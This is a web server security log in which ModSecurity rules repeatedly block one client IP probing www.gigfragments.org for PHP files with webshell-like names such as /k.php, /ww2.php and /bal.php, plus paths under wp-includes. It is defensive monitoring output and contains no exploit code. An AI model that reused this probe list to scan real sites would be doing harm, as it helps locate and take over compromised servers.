[Thu Apr 23 16:20:50.229831 2026] [:error] [pid 42973:tid 43049] [client 20.216.153.175:36571] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/update/f35.php"] [unique_id "aenWYm6I0QqmmmLTHE3HtAAAAIY"]
[Thu Apr 23 16:20:51.920684 2026] [:error] [pid 42973:tid 43043] [client 20.216.153.175:40002] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/update/f35.php"] [unique_id "aenWY26I0QqmmmLTHE3HuAAAAIA"]
[Thu Apr 23 16:20:52.903299 2026] [:error] [pid 42973:tid 43059] [client 20.216.153.175:47945] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/update/f35.php"] [unique_id "aenWZG6I0QqmmmLTHE3HuwAAAJA"]
[Thu Apr 23 16:20:53.673006 2026] [:error] [pid 42971:tid 43000] [client 20.216.153.175:25488] [client 20.216.153.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aenWZTEP2_5RswrH8bELmwAAAA4"]
[Thu Apr 23 16:20:54.153601 2026] [:error] [pid 59700:tid 59722] [client 20.216.153.175:60587] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "aenWZpXyGZJFeAIDWtnprQAAAVQ"]
[Thu Apr 23 16:20:54.506907 2026] [:error] [pid 59700:tid 59702] [client 20.216.153.175:14566] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/f35.php"] [unique_id "aenWZpXyGZJFeAIDWtnprgAAAUA"]
[Thu Apr 23 16:20:55.195088 2026] [:error] [pid 64998:tid 65016] [client 20.216.153.175:37307] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "aenWZ4V5EysYcTLjmwjs_AAAAc4"]
[Thu Apr 23 16:20:55.299671 2026] [:error] [pid 42973:tid 43055] [client 20.216.153.175:5418] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/f35.php"] [unique_id "aenWZ26I0QqmmmLTHE3HwAAAAIw"]
[Thu Apr 23 16:20:55.893390 2026] [:error] [pid 64998:tid 65006] [client 20.216.153.175:18320] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "aenWZ4V5EysYcTLjmwjs_gAAAcQ"]
[Thu Apr 23 16:20:57.476880 2026] [:error] [pid 42973:tid 43052] [client 20.216.153.175:59405] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/f35.php"] [unique_id "aenWaW6I0QqmmmLTHE3HyAAAAIk"]
[Thu Apr 23 16:20:57.567567 2026] [:error] [pid 42973:tid 43044] [client 20.216.153.175:18361] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "aenWaW6I0QqmmmLTHE3HyQAAAIE"]
[Thu Apr 23 16:20:58.500520 2026] [:error] [pid 42972:tid 43030] [client 20.216.153.175:26400] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "aenWasOAb-3sOknsk4fNDgAAAE4"]
[Thu Apr 23 16:20:59.016598 2026] [:error] [pid 42973:tid 43061] [client 20.216.153.175:36192] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/f35.php"] [unique_id "aenWa26I0QqmmmLTHE3H0wAAAJI"]
[Thu Apr 23 16:20:59.993841 2026] [:error] [pid 42972:tid 43016] [client 20.216.153.175:53179] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "aenWa8OAb-3sOknsk4fNEQAAAEA"]
[Thu Apr 23 16:21:00.275543 2026] [:error] [pid 42972:tid 43020] [client 20.216.153.175:13505] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "aenWbMOAb-3sOknsk4fNEgAAAEQ"]
[Thu Apr 23 16:21:00.744285 2026] [:error] [pid 42972:tid 43039] [client 20.216.153.175:64595] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "aenWbMOAb-3sOknsk4fNFAAAAFc"]
[Thu Apr 23 16:21:01.018016 2026] [:error] [pid 65000:tid 65032] [client 20.216.153.175:36214] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "aenWbb6vRb9j6psK2Za_BwAAAgM"]
[Thu Apr 23 16:21:01.890680 2026] [:error] [pid 65000:tid 65050] [client 20.216.153.175:32291] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "aenWbb6vRb9j6psK2Za_CgAAAhE"]
[Thu Apr 23 16:21:02.190585 2026] [:error] [pid 65000:tid 65049] [client 20.216.153.175:23595] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "aenWbr6vRb9j6psK2Za_DQAAAhA"]
[Thu Apr 23 16:21:02.779905 2026] [:error] [pid 42971:tid 43002] [client 20.216.153.175:53154] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/k.php"] [unique_id "aenWbjEP2_5RswrH8bELnQAAABA"]
[Thu Apr 23 16:21:02.958812 2026] [:error] [pid 64998:tid 65023] [client 20.216.153.175:23602] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "aenWboV5EysYcTLjmwjs_wAAAdU"]
[Thu Apr 23 16:21:03.517566 2026] [:error] [pid 42973:tid 43043] [client 20.216.153.175:23972] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/k.php"] [unique_id "aenWb26I0QqmmmLTHE3H2gAAAIA"]
[Thu Apr 23 16:21:03.800750 2026] [:error] [pid 65000:tid 65057] [client 20.216.153.175:27712] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "aenWb76vRb9j6psK2Za_FAAAAhg"]
[Thu Apr 23 16:21:04.157707 2026] [:error] [pid 59700:tid 59719] [client 20.216.153.175:14563] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/k.php"] [unique_id "aenWcJXyGZJFeAIDWtnptAAAAVE"]
[Thu Apr 23 16:21:05.043395 2026] [:error] [pid 46953:tid 46962] [client 20.216.153.175:32293] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/k.php"] [unique_id "aenWcUnlpdHh-P6wKboHYgAAAkY"]
[Thu Apr 23 16:21:05.471804 2026] [:error] [pid 42971:tid 42988] [client 20.216.153.175:40618] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "aenWcTEP2_5RswrH8bELpQAAAAI"]
[Thu Apr 23 16:21:06.289979 2026] [:error] [pid 64998:tid 65007] [client 20.216.153.175:17284] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ww2.php"] [unique_id "aenWcoV5EysYcTLjmwjtAAAAAcU"]
[Thu Apr 23 16:21:06.311569 2026] [:error] [pid 43083:tid 43097] [client 20.216.153.175:6034] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "aenWcjC5hrvNXosL83JS2gAAAMw"]
[Thu Apr 23 16:21:07.191026 2026] [:error] [pid 64998:tid 65018] [client 20.216.153.175:36813] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ww2.php"] [unique_id "aenWc4V5EysYcTLjmwjtAwAAAdA"]
[Thu Apr 23 16:21:07.522290 2026] [:error] [pid 42972:tid 43027] [client 20.216.153.175:36833] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/SimplePie/"] [unique_id "aenWc8OAb-3sOknsk4fNFwAAAEs"]
[Thu Apr 23 16:21:08.174809 2026] [:error] [pid 43083:tid 43094] [client 20.216.153.175:21672] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ww2.php"] [unique_id "aenWdDC5hrvNXosL83JS2wAAAMk"]
[Thu Apr 23 16:21:08.457519 2026] [:error] [pid 43083:tid 43108] [client 20.216.153.175:41226] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/k.php"] [unique_id "aenWdDC5hrvNXosL83JS3AAAANc"]
[Thu Apr 23 16:21:09.000070 2026] [:error] [pid 42972:tid 43030] [client 20.216.153.175:34706] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ww2.php"] [unique_id "aenWdMOAb-3sOknsk4fNGQAAAE4"]
[Thu Apr 23 16:21:09.473400 2026] [:error] [pid 65000:tid 65041] [client 20.216.153.175:15413] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/k.php"] [unique_id "aenWdb6vRb9j6psK2Za_GAAAAgg"]
[Thu Apr 23 16:21:09.836901 2026] [:error] [pid 43083:tid 43093] [client 20.216.153.175:34734] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ww3.php"] [unique_id "aenWdTC5hrvNXosL83JS4AAAAMg"]
[Thu Apr 23 16:21:10.660025 2026] [:error] [pid 65000:tid 65054] [client 20.216.153.175:15380] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/k.php"] [unique_id "aenWdr6vRb9j6psK2Za_GgAAAhU"]
[Thu Apr 23 16:21:10.710131 2026] [:error] [pid 65000:tid 65051] [client 20.216.153.175:41228] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ww3.php"] [unique_id "aenWdr6vRb9j6psK2Za_GwAAAhI"]
[Thu Apr 23 16:21:11.520191 2026] [:error] [pid 65000:tid 65032] [client 20.216.153.175:19766] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/k.php"] [unique_id "aenWd76vRb9j6psK2Za_HQAAAgM"]
[Thu Apr 23 16:21:11.778206 2026] [:error] [pid 64998:tid 65009] [client 20.216.153.175:33916] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ww3.php"] [unique_id "aenWd4V5EysYcTLjmwjtDQAAAcc"]
[Thu Apr 23 16:21:12.267887 2026] [:error] [pid 65000:tid 65030] [client 20.216.153.175:38363] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ww2.php"] [unique_id "aenWeL6vRb9j6psK2Za_HwAAAgE"]
[Thu Apr 23 16:21:13.358918 2026] [:error] [pid 65000:tid 65029] [client 20.216.153.175:46096] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ww2.php"] [unique_id "aenWeb6vRb9j6psK2Za_IAAAAgA"]
[Thu Apr 23 16:21:13.478473 2026] [:error] [pid 65000:tid 65038] [client 20.216.153.175:40119] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ww3.php"] [unique_id "aenWeb6vRb9j6psK2Za_IQAAAgU"]
[Thu Apr 23 16:21:14.331602 2026] [:error] [pid 65000:tid 65049] [client 20.216.153.175:18695] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ww2.php"] [unique_id "aenWer6vRb9j6psK2Za_IgAAAhA"]
[Thu Apr 23 16:21:14.415979 2026] [:error] [pid 46953:tid 46975] [client 20.216.153.175:5957] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bal.php"] [unique_id "aenWeknlpdHh-P6wKboHbQAAAlM"]
[Thu Apr 23 16:21:15.341156 2026] [:error] [pid 65000:tid 65043] [client 20.216.153.175:40102] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bal.php"] [unique_id "aenWe76vRb9j6psK2Za_JgAAAgo"]
[Thu Apr 23 16:21:16.082123 2026] [:error] [pid 42973:tid 43060] [client 20.216.153.175:12414] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bal.php"] [unique_id "aenWfG6I0QqmmmLTHE3H5QAAAJE"]
[Thu Apr 23 16:21:16.162081 2026] [:error] [pid 59700:tid 59714] [client 20.216.153.175:36886] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ww2.php"] [unique_id "aenWfJXyGZJFeAIDWtnpvQAAAUw"]
[Thu Apr 23 16:21:17.060843 2026] [:error] [pid 65000:tid 65048] [client 20.216.153.175:41793] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bal.php"] [unique_id "aenWfb6vRb9j6psK2Za_KQAAAg8"]
[Thu Apr 23 16:21:17.979590 2026] [:error] [pid 42972:tid 43034] [client 20.216.153.175:35064] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ww3.php"] [unique_id "aenWfcOAb-3sOknsk4fNKwAAAFI"]
[Thu Apr 23 16:21:18.075003 2026] [:error] [pid 65000:tid 65032] [client 20.216.153.175:46094] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/in.php"] [unique_id "aenWfr6vRb9j6psK2Za_LgAAAgM"]
[Thu Apr 23 16:21:18.785362 2026] [:error] [pid 64998:tid 65006] [client 20.216.153.175:12388] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/in.php"] [unique_id "aenWfoV5EysYcTLjmwjtFgAAAcQ"]
[Thu Apr 23 16:21:18.811630 2026] [:error] [pid 59700:tid 59720] [client 20.216.153.175:57260] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ww3.php"] [unique_id "aenWfpXyGZJFeAIDWtnpvwAAAVI"]
[Thu Apr 23 16:21:19.556939 2026] [:error] [pid 42973:tid 43064] [client 20.216.153.175:36867] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/in.php"] [unique_id "aenWf26I0QqmmmLTHE3H7AAAAJU"]
[Thu Apr 23 16:21:19.852071 2026] [:error] [pid 64967:tid 64974] [client 20.216.153.175:35027] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ww3.php"] [unique_id "aenWf4AV4GfOOdX8QzpYqgAAAYU"]
[Thu Apr 23 16:21:20.654731 2026] [:error] [pid 64998:tid 65019] [client 20.216.153.175:24690] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/in.php"] [unique_id "aenWgIV5EysYcTLjmwjtFwAAAdE"]
[Thu Apr 23 16:21:20.691329 2026] [:error] [pid 42972:tid 43016] [client 20.216.153.175:57272] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ww3.php"] [unique_id "aenWgMOAb-3sOknsk4fNNQAAAEA"]
